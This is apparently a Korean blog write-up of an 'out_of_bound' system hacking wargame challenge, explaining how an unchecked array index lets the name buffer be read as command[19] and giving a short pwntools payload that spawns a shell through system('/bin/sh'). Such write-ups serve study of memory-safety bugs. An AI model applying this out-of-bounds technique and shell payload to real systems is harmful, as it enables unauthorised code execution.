out_of_bound

곽무경·2022년 7월 9일

System Hacking Quiz

목록 보기
18/21


Partial RELRO, Canary, NX 적용

C 코드 분석

name[16]을 입력받고, idx를 입력받는다.
그리고 system(command[idx])를 실행하게 된다.

name과 command의 관계

command와 name의 주소 차이를 확인한다.

0x4c = 7676 ÷ 4 = 19 따라서 name은 command[19] 이다.
name에 "/bin/sh"를 넣어서 결과적으로 system("/bin/sh") 가 실행되게 하는 것이다.

실패?

그래서 그냥 name에 "/bin/sh"를 입력하고, idx에 19를 입력하면 아무일도 일어나지 않는다..
왜 그런가 싶어서 검색해봤는데,
command가 이중 포인터이기 때문에 (*command[10])
name에는 name+4 주소를 넣고, name+4부터는 문자열 "/bin/sh"를 넣으면 정상적으로 실행된다.

system의 인자로 eax×4+0x804a060 이 주어진다. (name+4)

payload 구성, 셸 획득

e=ELF("./oob")
p.recvuntil(b"name: ")
p.send(p32(e.symbols['name']+4)+b"/bin/sh")
p.recvuntil(b"want?: ")
p.send(b"19")
p.interactive()

0개의 댓글